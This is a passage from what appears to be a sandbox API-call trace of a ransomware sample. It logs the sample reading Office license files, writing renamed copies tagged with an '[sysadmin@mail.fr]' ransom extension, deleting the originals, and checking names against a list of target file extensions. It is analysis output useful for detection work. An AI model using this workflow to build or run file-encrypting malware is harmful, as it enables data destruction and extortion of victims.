	[0174.404] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.405] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0174.405] SetEndOfFile (hFile=0x478) returned 1
	[0174.405] CloseHandle (hObject=0x478) returned 1
	[0174.405] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.405] SetEndOfFile (hFile=0x564) returned 1
	[0174.409] CloseHandle (hObject=0x564) returned 1
	[0174.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 1
	[0174.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0174.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0174.412] lstrlenW (lpString=".doc") returned 4
	[0174.412] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.412] lstrlenW (lpString=".docx") returned 5
	[0174.412] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.412] lstrlenW (lpString=".pdf") returned 4
	[0174.412] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.412] lstrlenW (lpString=".xls") returned 4
	[0174.412] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.412] lstrlenW (lpString=".xlsx") returned 5
	[0174.412] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.412] lstrlenW (lpString=".ppt") returned 4
	[0174.412] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0174.412] lstrlenW (lpString=".zip") returned 4
	[0174.412] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.412] lstrlenW (lpString=".rar") returned 4
	[0174.412] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.412] lstrlenW (lpString=".bz2") returned 4
	[0174.412] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.413] lstrlenW (lpString=".7z") returned 3
	[0174.413] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0174.413] lstrlenW (lpString=".dbf") returned 4
	[0174.413] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0174.413] lstrlenW (lpString=".1cd") returned 4
	[0174.413] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0174.413] lstrlenW (lpString=".jpg") returned 4
	[0174.413] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.414] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11183) returned 1
	[0174.414] CloseHandle (hObject=0x564) returned 1
	[0174.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 0x220
	[0174.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0174.415] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.415] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0174.417] GetLastError () returned 0x0
	[0174.417] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0174.650] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0174.651] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.651] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x116, lpOverlapped=0x0) returned 1
	[0174.651] SetEndOfFile (hFile=0x478) returned 1
	[0174.651] CloseHandle (hObject=0x478) returned 1
	[0174.652] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.652] SetEndOfFile (hFile=0x564) returned 1
	[0174.655] CloseHandle (hObject=0x564) returned 1
	[0174.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 1
	[0174.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0174.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0174.657] lstrlenW (lpString=".doc") returned 4
	[0174.657] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.657] lstrlenW (lpString=".docx") returned 5
	[0174.657] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.657] lstrlenW (lpString=".pdf") returned 4
	[0174.657] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.657] lstrlenW (lpString=".xls") returned 4
	[0174.657] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.657] lstrlenW (lpString=".xlsx") returned 5
	[0174.657] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.657] lstrlenW (lpString=".ppt") returned 4
	[0174.657] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0174.657] lstrlenW (lpString=".zip") returned 4
	[0174.658] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.658] lstrlenW (lpString=".rar") returned 4
	[0174.658] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.658] lstrlenW (lpString=".bz2") returned 4
	[0174.658] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.658] lstrlenW (lpString=".7z") returned 3
	[0174.658] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0174.658] lstrlenW (lpString=".dbf") returned 4
	[0174.658] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0174.658] lstrlenW (lpString=".1cd") returned 4
	[0174.658] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0174.658] lstrlenW (lpString=".jpg") returned 4
	[0174.658] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.658] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=24386) returned 1
	[0174.659] CloseHandle (hObject=0x564) returned 1
	[0174.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0174.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0174.660] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.673] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0174.674] GetLastError () returned 0x0
	[0174.674] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x5f42, lpOverlapped=0x0) returned 1
	[0175.256] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x5f50, lpOverlapped=0x0) returned 1
	[0175.258] ReadFile (in: hFile=0x564, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.258] WriteFile (in: hFile=0x478, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x128, lpOverlapped=0x0) returned 1
	[0175.258] SetEndOfFile (hFile=0x478) returned 1
	[0175.259] CloseHandle (hObject=0x478) returned 1
	[0175.259] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.259] SetEndOfFile (hFile=0x564) returned 1
	[0175.262] CloseHandle (hObject=0x564) returned 1
	[0175.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0176.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0176.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0176.120] lstrlenW (lpString=".doc") returned 4
	[0176.121] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString=".docx") returned 5
	[0176.121] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.121] lstrlenW (lpString=".pdf") returned 4
	[0176.121] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString=".xls") returned 4
	[0176.121] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString=".xlsx") returned 5
	[0176.121] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.121] lstrlenW (lpString=".ppt") returned 4
	[0176.121] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0176.121] lstrlenW (lpString=".zip") returned 4
	[0176.121] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString=".rar") returned 4
	[0176.121] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString=".bz2") returned 4
	[0176.121] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString=".7z") returned 3
	[0176.121] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0176.121] lstrlenW (lpString=".dbf") returned 4
	[0176.121] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0176.121] lstrlenW (lpString=".1cd") returned 4
	[0176.121] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0176.121] lstrlenW (lpString=".jpg") returned 4
	[0176.122] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.359] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11179) returned 1
	[0176.359] CloseHandle (hObject=0x52c) returned 1
	[0176.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 0x220
	[0176.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0176.361] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.361] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.362] GetLastError () returned 0x0
	[0176.362] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0176.364] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0176.365] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.365] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x114, lpOverlapped=0x0) returned 1
	[0176.366] SetEndOfFile (hFile=0x540) returned 1
	[0176.366] CloseHandle (hObject=0x540) returned 1
	[0176.366] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.366] SetEndOfFile (hFile=0x52c) returned 1
	[0176.369] CloseHandle (hObject=0x52c) returned 1
	[0176.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 1
	[0176.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0176.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0176.371] lstrlenW (lpString=".doc") returned 4
	[0176.371] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.371] lstrlenW (lpString=".docx") returned 5
	[0176.371] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.371] lstrlenW (lpString=".pdf") returned 4
	[0176.371] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.371] lstrlenW (lpString=".xls") returned 4
	[0176.371] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.371] lstrlenW (lpString=".xlsx") returned 5
	[0176.371] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.371] lstrlenW (lpString=".ppt") returned 4
	[0176.371] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0176.372] lstrlenW (lpString=".zip") returned 4
	[0176.372] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.372] lstrlenW (lpString=".rar") returned 4
	[0176.372] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.372] lstrlenW (lpString=".bz2") returned 4
	[0176.372] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.372] lstrlenW (lpString=".7z") returned 3
	[0176.372] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0176.372] lstrlenW (lpString=".dbf") returned 4
	[0176.372] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0176.372] lstrlenW (lpString=".1cd") returned 4
	[0176.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0176.372] lstrlenW (lpString=".jpg") returned 4
	[0176.372] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.374] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11630) returned 1
	[0176.374] CloseHandle (hObject=0x52c) returned 1
	[0176.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 0x220
	[0176.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0176.375] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.375] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.377] GetLastError () returned 0x0
	[0176.377] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0176.378] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0176.380] ReadFile (in: hFile=0x52c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.380] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0176.380] SetEndOfFile (hFile=0x540) returned 1
	[0176.381] CloseHandle (hObject=0x540) returned 1
	[0176.381] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.381] SetEndOfFile (hFile=0x52c) returned 1
	[0176.425] CloseHandle (hObject=0x52c) returned 1
